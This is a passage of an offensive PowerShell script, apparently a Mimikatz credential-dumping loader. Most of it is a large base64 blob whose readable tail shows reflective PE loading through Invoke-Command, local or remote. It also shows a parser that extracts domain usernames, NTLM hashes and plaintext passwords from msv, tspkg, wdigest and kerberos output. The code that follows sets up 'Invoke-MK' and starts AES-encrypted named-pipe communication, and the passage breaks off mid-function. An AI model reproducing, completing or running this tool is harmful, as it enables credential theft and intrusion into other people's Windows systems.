N25EeWxQSzg5dHozclBmUTlLVDR4UG1VK2JqNmtQbmcvZkQrQVA0US9pRCtNUDVBL2xEK1lQNXcvdEQ4QVVBSUFIQUFBQUh3d2dEQ0VNSWd3akRDUU1KUXdtRENjTUtBd0FHQUNBQ1FBQUFCeU5JNDExVFhhTmQ4MStqWC9OUVEyWWp1WFBaODkxajNkUFFBQUFIQUNBQ2dBQUFBVk1ad3lwRExiTXVJeVJEWk1PVlE1aXptU09iZzhjVDU1UHJBK3R6NEFBQUNBQWdBTUFBQUFTaklBQUFDUUFnQTBBQUFBTnpKNE1ud3lnREtFTW9neWpES1FNcFF5bURLY01xc3k3REx3TXZReStETDhNZ0F6QkRNSU13d3pFRE1Bb0FJQUpBQUFBS2t5eFRMSk1zMHkwVExWTXRreTNUTGhNdVV5NlRMdE1xNDJBQUFBc0FJQVBBQUFBR0U4Wmp4c1BIRThlVHlHUExvODRUejdQRWM5ZXo2UlBzZysrRDRIUHgwL016OUtQMUUvWFQ5d1AzVS9nVCtHUDVjL0FBQUF3QUlBeUFBQUFBRXdDREFhTUNNd2F6QjlNSVV3anpDWU1La3d1ekRXTUFJeENURThNVUV4WnpKL01xd3l4ekxYTXR3eTVqTHJNdll5QVRNVk0yWXpDalFkTkN3MFRUU21OTEUwQURVWU5XSTErRFVQTm8wMjBUYmpOaGszSGpjck56YzNVRGRqTjVZM3BUZXFON3Mzd1RmTU45UTMzemZsTi9BMzlqY0VPRDQ0UXpoak9HZzRpVGltT05RNDJqanNPQ281TURtM09TUTZLanBRT2o0N1NEdFZPNGc3bWp2S08rYzc4anRFUEVzOHh6emhQUFE4RGoyaVB0aytDVDg4UDA4LzdqOEFBQURRQWdCVUFBQUFKREJCTVYweHNESFlNb3MwMnpRTU5UdzFoeldETnBjMkV6Zk1OOU0zK3pjVk9DdzRNemhvT0hrNGxEaWdPTEU0dWpqdk9BQTVHamtqT1RBNU9qbGNPVzA1Z2ptTU9hODV1VG1zUGdEZ0FnQUFBUUFBZHpHMk1iMHh6VEhjTWVNeCt6RUNNaUF5SHpSUE5JRTAwRFJuTlhJMXJqWEFOY1kxYXpaMk5vQTJoamFhTnFZMjB6WU1OenczVnplU044azMyemNST0RRNGpqaWVPSW81a2puT09kNDU5VG45T1NRNlBUcE1PbGc2WmpxSU9wbzZwVHFxT3E4NnlqclVPdkE2K3pvQU93VTdJRHNxTzBZN1VUdFdPMXM3ZGp1QU81dzdwenVzTzdFN3p6dlpPL1U3QUR3RlBBbzhLenc3UEZjOFlqeG5QR3c4bnp6RFBOODg2anp2UFBROEVqMDFQVUE5VFQxaVBXMDlnVDJHUFlzOXJUMjdQY285N2owQVBndytHajQ3UGtJK1dENXVQbnMrZ0Q2T1B2bytFejlBUDBjL1VqOWdQMmMvYlQrSVA0OC9tRC9MUCtBLzhUOEE4QUlBcEFBQUFIY3dqVEROTU9rd0NERTRNY1F4NHpFY01rTXlUakplTXRVeURETXJNMEV6U3pOcU00Z3o5ek1nTkVrMFp6VGxOQTQxTnpWVE5kdzFDalk3TmxjMmlqYW5Oc2syU0Rla04wUTRzemk5T0FzNVRqbUJPUjg2TlRxUE9zdzYxanJ4T2hNN3N6dTdPd1U5SHoxZlBXNDlmRDJaUGFFOXlqM1JQZWc5L2owNFBqOCtnVDZJUHBFK3V6N09QdGcrK1Q0M1AwUS9jejkvUDdFL3h6OEFBQUFBQXdDZ0FBQUFBakFKTUZrd2JUQy9NQ3d5WHpKK01wMHlMak92Tk5FMDhEVEhOVUUyVURaaU5uUTJrRGF1TnJnMnlUYk9OdU0yRmpjZE55UTNLemRGTjFRM1hqZHJOM1UzaFRmZE54VTRNRGhDT204NmtEcVZPcUE2dERxL090WTZCanNiT3lrN01qdG5PNTQ3MUR2bk8zazhyVHpVUEI4OWtUMjBQZG85L0QyRFBvbytsRDZqUHNjKyt6NG1QMGcvZFQrSFA2TS94ei9pUCswL0FBQUFFQU1BWkFBQUFCa3dOekJDTUw4d3hqRE5NTlF3NFRBaU1TOHhQREZKTVdBeEp6S2tNcTB5eFRMWE1nUXpNak5tTTI0emh6T1pNNlV6clRQRk05d3pJalIyTlB3MDlqWHBOalkzRGpoM09LRTQwRGcyT1c4NWhUbW1PUjQ2SlR1Uk93QUFBQ0FEQUNRQUFBQmtNMnd6b3pPcU05UTJ5VGZSTndnNER6Z1VPMWcrWHo1bVBtMCtBREFEQUdnQUFBRGFNZUV4ckRLek1qSXpSak4rTTVBem9qTzBNOFl6MkRQcU0vd3pEalFnTkRJMFJEUldOSGMwaVRTYk5LMDB2elF5Tm5nMkFUY1RON1kzTlRoaU9HODRvampDT093NHJEbTJPZUE1TERvN09sbzZhenJyT3FJNzFUc2dQcDAvQUFBQVFBTUFjQUFBQUN3d3pUSFlNZXN4OVRFVE1oNHllVEtWTXZneUVETkFNMmd6bWpPME05b3pFalFnTjJVM1FUakJPQ3c1TWptUk9aYzVnanJDT2kwN1J6dFVPNFE3cUR1ek84QTcwanNhUERNOHR6ek1QTlU4M2p6OFBBSTlCejBOUFI0OTlUNFJQMEkvMHovblB3QUFBRkFEQUpnQUFBQUVNRlV3bmpCYk1Ya3huREdwTWJReERqSnpNckl5d1RML01oSXpTRE5VTTJ3ejlUTStOR0kwYXpXUE5kODE5RFVqTmpvMmFUYUdOcG8ydkRiR05nUTNJRGRvTjg0M3BUanBPUEU0K1RnQk9RazVKemt2T1pFNW5UbXhPYjA1eVRucE9UQTZXanBpT244Nmp6cWJPcW82cmp2Zk95RThXRHgxUElrOGxEemhQR2s5MEQyRlB2aytGajhtUDNzL0FBQUFZQU1BWkFBQUFId3dqRENkTUtVd3RUREdNQ3d4TnpGQ01VZ3hVVEdUTWI0eDR6SHZNZnN4RGpJdE1sZ3ljREsxTXNFeXpUTFpNdXd5RURPUU0wVTBWelJwTk5rME9qV1ZOUU0ySWpaVE5xZzM0amo5T0JNNUtUa3hPWW84alQyZVBRQUFBSEFEQUdRQUFBQWtNSVl3aXpDZE1Mc3d6ekRWTUtFeXZqSkNORjQwK0RRME5VYzFaVFZ6TlNFM1dEZGZOMlEzYURkc04zQTN4amNMT0JBNEZEZ1lPQnc0dERySE91VTY4enFoUE5nODN6emtQT2c4N0R6d1BFWTlpejJRUFpROW1EMmNQUUNBQXdBTUFBQUFCakF2TmdDUUF3QjRBQUFBTnpnN09EODRRemhIT0VzNFR6aFRPRmM0V3poZk9HTTRaemhyT0c4NGN6aDNPSHM0ZnppRE9JYzRpemlQT0pNNGx6aWJPSjg0b3ppbk9LczRyeml6T01JNDhUa0pQQkU4SlR3R1BRczlIVDNNUGRzOTVUMVBQbUErWno1MVBvNCttajZoUHJNK3p6NG5QOFkvMWovalB3Q2dBd0FVQUFBQUJqQW9NQzB3T1RCRk1BQUFBTEFEQU93QUFBQjROSWcwakRTUU5KdzBvRFNrTk1RMHlEVE1OUFEwK0RUOE5BQTFjRFowTm5nMmZEYUFOb1EyaURhTU5wQTJsRGFZTnB3Mm9EYWtOcWcyckRhd05yUTJ1RGE4TnNBMnhEYklOc3cyMERiVU50ZzIzRGJnTnVRMjZEYnNOdkEyOURiNE52dzJBRGNFTndnM0REY1FOeFEzR0RjY055QTNKRGNvTnl3M01EYzBOemczUERkQU4wUTNTRGRNTjFBM1ZEZFlOMXczWURka04yZzNiRGR3TjNRM2VEZDhONEEzaERlSU40dzNrRGVVTjVnM25EZWdONlEzcURlc043QTN0RGU0Tjd3M3dEZkVOOGczekRmUU45UTMyRGZjTitBMzVEZm9OK3czOERmME4vZzMvRGNBd0FNQU9BQUFBSkE3bUR1Z082UTdxRHVzTzdBN3REdTRPN3c3eER2SU84dzcwRHZVTzlnNzNEdmdPK3c3OUR2NE8vdzdBRHdFUEFEUUF3RG9BQUFBR0RFY01TQXhKREVvTVN3eE1ERTBNVGd4UERGQU1VUXhTREZNTVZBeFZERllNVnd4WURGa01XZ3hiREZ3TVhReGVERjhNWUF4aERHSU1Zd3hrREdVTVpneG5ER2dNYVF4cURHc01iQXh0REc0TWJ3eHdESE1NZEF4MURIWU1kd3g0REhrTWVneDdESHdNZlF4K0RIOE1RQXlCRElJTWd3eUVESVVNaGd5SERJZ01pUXlLRElzTWpBeU5ESTRNand5UURKRU1rZ3lUREpRTWxReVdESmNNbUF5WkRKb01td3ljREowTW5neWdES0VNb2d5akRLUU1wUXltREtjTXFBeXBES29NcXd5c0RLME1yZ3l2RExBTXNReXlETE1NdGcvM0QvZ1ArUS9BQUFBNEFNQTBBRUFBRXd3VkRCY01HUXdiREIwTUh3d2hEQ01NSlF3bkRDa01Ld3d0REM4TU1Rd3pERFVNTnd3NUREc01QUXcvREFFTVF3eEZERWNNU1F4TERFME1Ud3hSREZNTVZReFhERmtNV3d4ZERGOE1ZUXhqREdVTVp3eHBER3NNYlF4dkRIRU1jd3gxREhjTWVReDdESDBNZnd4QkRJTU1oUXlIRElrTWl3eU5ESThNa1F5VERKVU1sd3laREpzTW5ReWZES0VNb3d5bERLY01xUXlyREswTXJ3eXhETE1NdFF5M0RMa011d3k5REw4TWdRekRETVVNeHd6SkRNc016UXpQRE5FTTB3elZETmNNMlF6YkROME0zd3poRE9NTTVRem5ET2tNNnd6dERPOE04UXp6RFBVTTl3ejVEUHNNL1F6L0RNRU5BdzBGRFFjTkNRMExEUTBORHcwUkRSTU5GUTBYRFJrTkd3MGREUjhOSVEwakRTVU5KdzBwRFNzTkxRMHZEVEVOTXcwMURUY05PUTA3RFQwTlB3MEJEVU1OUlExSERVa05TdzFORFU4TlVRMVREVlVOVncxWkRWc05YUTFmRFdFTll3MWxEV2NOYVExckRXME5idzF4RFhNTmRRMTNEWGtOZXcxOURYOE5RUTJERFlVTmh3MkpEWXNOalEyUERaRU5rdzJWRFpjTm1RMmJEWjBObncyaERhTU5wUTJuRGFrTnF3MnREYThOc1EyekRiVU50dzI1RGJzTnZRMi9EWUVOd3czRkRjY055UTNMRGMwTnp3M1JEZE1OMVEzWERka053RHdBd0RRQVFBQVdERmdNV2d4Y0RGNE1ZQXhpREdRTVpneG9ER29NYkF4dURIQU1jZ3gwREhZTWVBeDZESHdNZmd4QURJSU1oQXlHRElnTWlneU1ESTRNa0F5U0RKUU1sZ3lZREpvTW5BeWVES0FNb2d5a0RLWU1xQXlxREt3TXJneXdETElNdEF5MkRMZ011Z3k4REw0TWdBekNETVFNeGd6SURNb016QXpPRE5BTTBnelVETllNMkF6YUROd00zZ3pnRE9JTTVBem1ET2dNNmd6c0RPNE04QXp5RFBRTTlnejREUG9NL0F6K0RNQU5BZzBFRFFZTkNBMEtEUXdORGcwUURSSU5GQTBXRFJnTkdnMGNEUjROSUEwaURTUU5KZzBvRFNvTkxBMHVEVEFOTWcwMERUWU5PQTA2RFR3TlBnMEFEVUlOUkExR0RVZ05TZzFNRFU0TlVBMVNEVlFOVmcxWURWb05YQTFlRFdBTllnMWtEV1lOYUExcURXd05iZzF3RFhJTmRBMTJEWGdOZWcxOERYNE5RQTJDRFlRTmhnMklEWW9OakEyT0RaQU5rZzJVRFpZTm1BMmFEWndObmcyZ0RhSU5wQTJtRGFnTnFnMnNEYTROc0EyeURiUU50ZzI0RGJvTnZBMitEWUFOd2czRURjWU55QTNLRGN3TnpnM1FEZElOMUEzV0RkZ04yZzNjRGQ0TjRBM2lEZVFONWczb0Rlb043QTN1RGZBTjhnMzBEZllOK0EzNkRmd04vZzNBRGdJT0JBNEdEZ2dPQ2c0TURnNE9FQTRTRGhRT0ZnNFlEaG9PSEE0QUFBRUFFd0FBQUJxTW00eWNqSjJNZ3c4RkR3Y1BDUThMRHcwUER3OFJEeE1QRlE4WER4a1BHdzhkRHg4UElROGpEeVVQSnc4cER5c1BMUTh2RHpFUE13ODFEemNQT1E4N0R3QUFBQVFCQUFVQVFBQXVEWEVOZEExM0RYb05mUTFBRFlJTmhBMkdEWWdOaWcyTURZNE5rQTJTRFpRTmxnMllEWm9ObkEyZURhQU5vZzJrRGFZTnFBMnFEYXdOcmcyd0RiSU50QTIyRGJnTnVnMjhEYjROZ0EzQ0RjUU54ZzNJRGNvTnpBM09EZEFOMGczVURkWU4yQTNhRGR3TjNnM2dEZUlONUEzbURlZ042ZzNzRHU0TzhBN3lEdlFPOWc3NER2b08vQTcrRHNBUEFnOEVEd1lQQ0E4S0R3d1BEZzhRRHhFUEVnOFREeFFQRlE4V0R4Y1BHQThaRHhvUEd3OGNEeDBQSGc4ZkR5QVBJUThpRHlNUEpBOGxEeVlQSnc4b0R5a1BLZzhyRHl3UE1BOHhEeklQTXc4MER6VVBOZzgzRHowUFBnOC9Ed0FQUVE5Q0QwTVBSQTlGRDBZUFJ3OUpEMHNQVEE5TkQwNFBUdzlVRDBBQUFBd0JBQVVBQUFBbURtY09hQTVwRG00T1FBQUFFQUVBSFFFQUFEc01mQXg5REg0TWZ3eEFESUVNZ3d5RURJVU1sd3lZREpzTW5BeWRETEFNc1F5eURMTU10QXkxRExZTXR3eTRETGtNdWd5N0RMd012UXkrREw4TWdBekJETUlNd3d6RURNVU14Z3pIRE1nTXlRektETXNNekF6TkRNNE16d3pRRE5FTTBnelRETlFNMVF6V0ROY00yQXpaRE5vTTJ3emNETjBNM2d6ZkRPQU00UXppRE9NTTVBemxET1lNNXd6b0RPa002d3pzRE84TThBenhEUElNOHd6MERQVU05Z3ozRFBnTStRejZEUHNNL0F6OURQNE0vd3pBRFFFTkFnMEREUVFOQlEwR0RRY05DQTBKRFFzTkRBME5EUTRORHcwUURSRU5FZzBURFJRTkZRMFdEUmNOR0EwWkRSb05HdzBpRFNNTkpBMGxEU1lOSncwb0RTa05LZzByRFN3TkxRMHVEUzhOTUEweERUSU5NdzAwRFRVTk5nMDREVGtOT2cwN0RRME5UZzFSRFZRTlZRMVdEVmNOV0ExWkRWb05YQTFlRFY4TllBMWlEV01OWmcxbkRXb05hdzF1RFc4TmNBMXlEWE1OZEExMkRYY05lQTE2RFhzTmZnMS9EVUlOZ3cyR0RZY05pZzJMRFk0Tmp3MlNEWk1ObGcyWERaZ05tZzJiRFp3Tm5nMmZEYUlOb3cybURhY05xQTJwRGF3TnNBMnhEYklOc3cyMERiVU50ZzIzRGJnTnVRMjZEYnNOdkEyOURiNE52dzJBRGNFTndnM0REY1FOeFEzR0RjY055QTNKRGNvTnl3M01EYzBOemczUERlSU40dzN2RGZBTjhRM3lEZk1OM3c0a0RpVU9KZzRuRGlnT0tRNHFEaXNPTEE0dERpNE9MdzR3RGpFT01nNHpEalFPTlE0MkRqY09PQTQ2RGpzT1BRNCtEajhPQnc1SURra09TZzVMRGt3T1RRNU9EbEVPVWc1VERsUU9WUTVXRGxjT1dBNVpEbG9PV3c1Y0RsME9YZzVmRG1BT1lRNWlEbU1PWkE1bERtWU9adzVvRG1rT2FnNXJEbXdPYmc1dkRuRU9jZzUwRG5VT2RnNTVEbndPZlE1K0RuOE9RQTZCRG9JT2d3NkVEb1VPaGc2SkRvd09qUTZPRG84T2tBNlREcFlPbHc2WURwa09tZzZiRHB3T25RNmVEcDhPb0E2aERxSU9vdzZrRHFVT3BnNm5EcWdPcVE2cURxc09yQTZ2RHJJT3N3NjBEclVPdGc2M0RyZ091UTY2RHJzT3ZBNjlEcjRPdnc2QURzRU93ZzdERHNRT3hRN0dEc2NPeUE3SkRzb095dzdNRHM0TzBRN1NEdFVPMkE3WkR0b08ydzdjRHQwTzNnN2ZEdUFPNFE3aUR1TU81QTdsRHVZTzV3N29EdWtPNmc3ckR1d083UTd1RHU4TzhBN3hEdklPOHc3MER2VU85ZzczRHZnTytRNzZEdnNPL0E3OUR2NE8vdzdBRHdFUEFnOEREd1FQQlE4R0R3Y1BDQThKRHdvUERROFFEeEVQRWc4VER4UVBGdzhZRHhrUEdnOGJEeHdQSFE4ZUR4OFBJQThoRHlJUEl3OGtEeVVQSmc4c0R6SVBPQTgrRHo4UEJBOUZEMG9QU3c5UUQxUVBWUTlXRDFjUFdBOVpEMXdQWkE5bEQyWVBhdzlzRDIwUGJ3OXdEM0VQY2c5ekQzUVBkUTkyRDNjUGVBOTVEM29QZXc5OEQzMFBmZzkvRDBBUGdRK0NENE1QaEErRkQ0WVBodytJRDRrUGlnK0xENHdQalErT0Q0OFBrQStSRDVJUGt3K1VENVVQbGcrWEQ1Z1BtUSthRDVzUG5BK2RENTRQbncrZ0Q2RVBvZytqRDZRUHBRK21ENmNQcUErcEQ2b1BxdytzRDYwUHJnK3ZEN0FQc1EreUQ3TVB0QSsxRDdZUHR3KzREN2tQdWcrN0Q3d1B2USsrRDc4UGdBL0JEOElQd0FBQUZBRUFDQUFBQUJFTUVnd21EQ0lNNHd6a0RPWU02QXpwRE9vTTZ3enNETUEwQVVBZEFBQUFJdzJtRFkwT2pnNlJEcElPbFE2V0Rwa09tZzZpRHFvT3NRNnlEcmtPdWc2Q0Rzb08wZzdWRHR3TzVBN3NEdTRPN3c3MkR2NE94UThHRHc0UEZnOGVEeVlQTGc4MkR6NFBCZzlPRDFZUFhnOW1EMjRQZGc5K0QwWVBqZytXRDU0UHBnK3VEN1VQdGcrOUQ3NFBnQUFCZ0M4QUFBQUpEQllNRGd4YURGNE1ZZ3htREdvTWNBeHpESFFNZFF4OERIME1UQXlVRGRnTjJRM2FEZHNOM0EzZERkNE4zdzNnRGVFTjVBM2xEZVlONXczb0Rla042ZzNyRGZnT09RNDZEanNPUEE0OURqOE9EZzVkRG13T1NnNk1EcGtPbXc2b0Rxb090dzY1RG9ZT3lBN1ZEdGNPNUE3bURzb1BEQThaRHhzUEtBOHFEemNQT1E4R0QwZ1BWUTlYRDJZUGFnOXNEM2dQZkE5K0QwSVBoQStSRDVNUG9BK2lENjhQc1ErOUQ3OFBtZy9jRCtvUCtRL0FCQUdBTGdBQUFBZ01Gd3d1REQwTURBeGlER1FNY1F4ekRFQU1nZ3lQREpFTXRneTRESVVNeHd6VUROWU00d3psRFBjTStBeitETTBOSEEwckRRSU5VUTFpRFhFTlFBMlBEWjROclEyd0RZWU4xUTNrRGZNTndnNFJEaDRPSHc0aERpa09MQTQwRGpjT0FnNVJEbUFPY1E1eURuUU9SZzZWRHFRT3N3NkNEdEVPNEE3dER1NE84QTc2RHZzTy9RN0ZEd1lQQ0E4U0R5SVBNUTh5RHpRUFBnOE5EMXdQYlE5dUQzQVBmZzlORDV3UHF3KzZENEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBJw0KDQoJaWYgKCRDb21wdXRlck5hbWUgLWVxICRudWxsIC1vciAkQ29tcHV0ZXJOYW1lIC1pbWF0Y2ggIl5ccyokIikNCgl7DQoJCUludm9rZS1Db21tYW5kIC1TY3JpcHRCbG9jayAkUmVtb3RlU2NyaXB0QmxvY2sgLUFyZ3VtZW50TGlzdCBAKCRQRUJ5dGVzNjQsICRQRUJ5dGVzMzIsICJWb2lkIiwgMCwgIiIsICRFeGVBcmdzKQ0KCX0NCgllbHNlDQoJew0KCQlJbnZva2UtQ29tbWFuZCAtU2NyaXB0QmxvY2sgJFJlbW90ZVNjcmlwdEJsb2NrIC1Bcmd1bWVudExpc3QgQCgkUEVCeXRlczY0LCAkUEVCeXRlczMyLCAiVm9pZCIsIDAsICIiLCAkRXhlQXJncykgLUNvbXB1dGVyTmFtZSAkQ29tcHV0ZXJOYW1lDQoJfQ0KfQ0KDQpNYWluDQp9DQpmdW5jdGlvbiBQYXJzZS1NaW1pa2F0eiB7DQpwYXJhbSggIA0KICAgIFtQYXJhbWV0ZXIoDQogICAgICAgIFBvc2l0aW9uPTAsIA0KICAgICAgICBNYW5kYXRvcnk9JHRydWUsIA0KICAgICAgICBWYWx1ZUZyb21QaXBlbGluZT0kdHJ1ZSwNCiAgICAgICAgVmFsdWVGcm9tUGlwZWxpbmVCeVByb3BlcnR5TmFtZT0kdHJ1ZSkNCiAgICBdDQogICAgW1N0cmluZ1tdXSRyYXcNCiAgICApIA0KDQogICAgIyBtc3YNCgkkcmVzdWx0cyA9ICRyYXcgfCBTZWxlY3QtU3RyaW5nIC1QYXR0ZXJuICIoP3MpKD88PW1zdiA6KS4qPyg/PXRzcGtnIDopIiAtQWxsTWF0Y2hlcyB8ICV7JF8ubWF0Y2hlc30gfCAleyRfLnZhbHVlfQ0KICAgIGlmKCRyZXN1bHRzKXsNCiAgICAgICAgZm9yZWFjaCgkbWF0Y2ggaW4gJHJlc3VsdHMpew0KICAgICAgICAgICAgaWYoJG1hdGNoLkNvbnRhaW5zKCJEb21haW4iKSl7DQogICAgICAgICAgICAgICAgJGxpbmVzID0gJG1hdGNoLnNwbGl0KCJgbiIpDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkbGluZSBpbiAkbGluZXMpew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGxpbmUuQ29udGFpbnMoIlVzZXJuYW1lIikpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJuYW1lID0gJGxpbmUuc3BsaXQoIjoiKVsxXS50cmltKCkNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRsaW5lLkNvbnRhaW5zKCJEb21haW4iKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWluID0gJGxpbmUuc3BsaXQoIjoiKVsxXS50cmltKCkNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRsaW5lLkNvbnRhaW5zKCJOVExNIikpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJGxpbmUuc3BsaXQoIjoiKVsxXS50cmltKCkNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJHBhc3N3b3JkIC1hbmQgJCgkcGFzc3dvcmQgLW5lICIobnVsbCkiKSAtYW5kICghJHVzZXJuYW1lLkNvbnRhaW5zKCckJykpKXsNCiAgICAgICAgICAgICAgICAgICAgJGRvbWFpbisiXCIrJHVzZXJuYW1lKyI6IiskcGFzc3dvcmQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlc3VsdHMgPSAkcmF3IHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiKD9zKSg/PD10c3BrZyA6KS4qPyg/PXdkaWdlc3QgOikiIC1BbGxNYXRjaGVzIHwgJXskXy5tYXRjaGVzfSB8ICV7JF8udmFsdWV9DQogICAgaWYoJHJlc3VsdHMpew0KICAgICAgICBmb3JlYWNoKCRtYXRjaCBpbiAkcmVzdWx0cyl7DQogICAgICAgICAgICBpZigkbWF0Y2guQ29udGFpbnMoIkRvbWFpbiIpKXsNCiAgICAgICAgICAgICAgICAkbGluZXMgPSAkbWF0Y2guc3BsaXQoImBuIikNCiAgICAgICAgICAgICAgICBmb3JlYWNoKCRsaW5lIGluICRsaW5lcyl7DQogICAgICAgICAgICAgICAgICAgIGlmICgkbGluZS5Db250YWlucygiVXNlcm5hbWUiKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSAkbGluZS5zcGxpdCgiOiIpWzFdLnRyaW0oKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJGxpbmUuQ29udGFpbnMoIkRvbWFpbiIpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSAkbGluZS5zcGxpdCgiOiIpWzFdLnRyaW0oKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJGxpbmUuQ29udGFpbnMoIlBhc3N3b3JkIikpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJGxpbmUuc3BsaXQoIjoiKVsxXS50cmltKCkNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJHBhc3N3b3JkIC1hbmQgJCgkcGFzc3dvcmQgLW5lICIobnVsbCkiKSAtYW5kICghJHVzZXJuYW1lLkNvbnRhaW5zKCckJykpKXsNCiAgICAgICAgICAgICAgICAgICAgJGRvbWFpbisiXCIrJHVzZXJuYW1lKyI6IiskcGFzc3dvcmQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlc3VsdHMgPSAkcmF3IHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiKD9zKSg/PD13ZGlnZXN0IDopLio/KD89a2VyYmVyb3MgOikiIC1BbGxNYXRjaGVzIHwgJXskXy5tYXRjaGVzfSB8ICV7JF8udmFsdWV9DQogICAgaWYoJHJlc3VsdHMpew0KICAgICAgICBmb3JlYWNoKCRtYXRjaCBpbiAkcmVzdWx0cyl7DQogICAgICAgICAgICBpZigkbWF0Y2guQ29udGFpbnMoIkRvbWFpbiIpKXsNCiAgICAgICAgICAgICAgICAkbGluZXMgPSAkbWF0Y2guc3BsaXQoImBuIikNCiAgICAgICAgICAgICAgICBmb3JlYWNoKCRsaW5lIGluICRsaW5lcyl7DQogICAgICAgICAgICAgICAgICAgIGlmICgkbGluZS5Db250YWlucygiVXNlcm5hbWUiKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlcm5hbWUgPSAkbGluZS5zcGxpdCgiOiIpWzFdLnRyaW0oKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJGxpbmUuQ29udGFpbnMoIkRvbWFpbiIpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSAkbGluZS5zcGxpdCgiOiIpWzFdLnRyaW0oKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJGxpbmUuQ29udGFpbnMoIlBhc3N3b3JkIikpew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJGxpbmUuc3BsaXQoIjoiKVsxXS50cmltKCkNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJHBhc3N3b3JkIC1hbmQgJCgkcGFzc3dvcmQgLW5lICIobnVsbCkiKSAtYW5kICghJHVzZXJuYW1lLkNvbnRhaW5zKCckJykpKXsNCiAgICAgICAgICAgICAgICAgICAgJGRvbWFpbisiXCIrJHVzZXJuYW1lKyI6IiskcGFzc3dvcmQNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlc3VsdHMgPSAkcmF3IHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiKD9zKSg/PD1rZXJiZXJvcyA6KS4qPyg/PXNzcCA6KSIgLUFsbE1hdGNoZXMgfCAleyRfLm1hdGNoZXN9IHwgJXskXy52YWx1ZX0NCiAgICBpZigkcmVzdWx0cyl7DQogICAgICAgIGZvcmVhY2goJG1hdGNoIGluICRyZXN1bHRzKXsNCiAgICAgICAgICAgIGlmKCRtYXRjaC5Db250YWlucygiRG9tYWluIikpew0KICAgICAgICAgICAgICAgICRsaW5lcyA9ICRtYXRjaC5zcGxpdCgiYG4iKQ0KICAgICAgICAgICAgICAgIGZvcmVhY2goJGxpbmUgaW4gJGxpbmVzKXsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRsaW5lLkNvbnRhaW5zKCJVc2VybmFtZSIpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VybmFtZSA9ICRsaW5lLnNwbGl0KCI6IilbMV0udHJpbSgpDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkbGluZS5Db250YWlucygiRG9tYWluIikpew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbiA9ICRsaW5lLnNwbGl0KCI6IilbMV0udHJpbSgpDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkbGluZS5Db250YWlucygiUGFzc3dvcmQiKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFzc3dvcmQgPSAkbGluZS5zcGxpdCgiOiIpWzFdLnRyaW0oKQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkcGFzc3dvcmQgLWFuZCAkKCRwYXNzd29yZCAtbmUgIihudWxsKSIpIC1hbmQgKCEkdXNlcm5hbWUuQ29udGFpbnMoJyQnKSkpew0KICAgICAgICAgICAgICAgICAgICAkZG9tYWluKyJcIiskdXNlcm5hbWUrIjoiKyRwYXNzd29yZA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0gDQoNCg0K" + +if (!$Command) { + $Command = "Invoke-MK" +} else { + $Command = "Invoke-MK -Command $Command" +} + +if (!$Shellcode) { +if (!$Target -or ($Target -eq "localhost")) { + +$Target = "localhost" + +$postcode = @" +`$key = "$pipekey" +function Create-AesManagedObject +{ + param + ( + [Object] + `$key, + [Object] + `$IV + ) + `$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + `$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + `$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + `$aesManaged.BlockSize = 128 + `$aesManaged.KeySize = 256 + if (`$IV) + { + if (`$IV.getType().Name -eq 'String') + {`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)} + else + {`$aesManaged.IV = `$IV} + } + if (`$key) + { + if (`$key.getType().Name -eq 'String') + {`$aesManaged.Key = 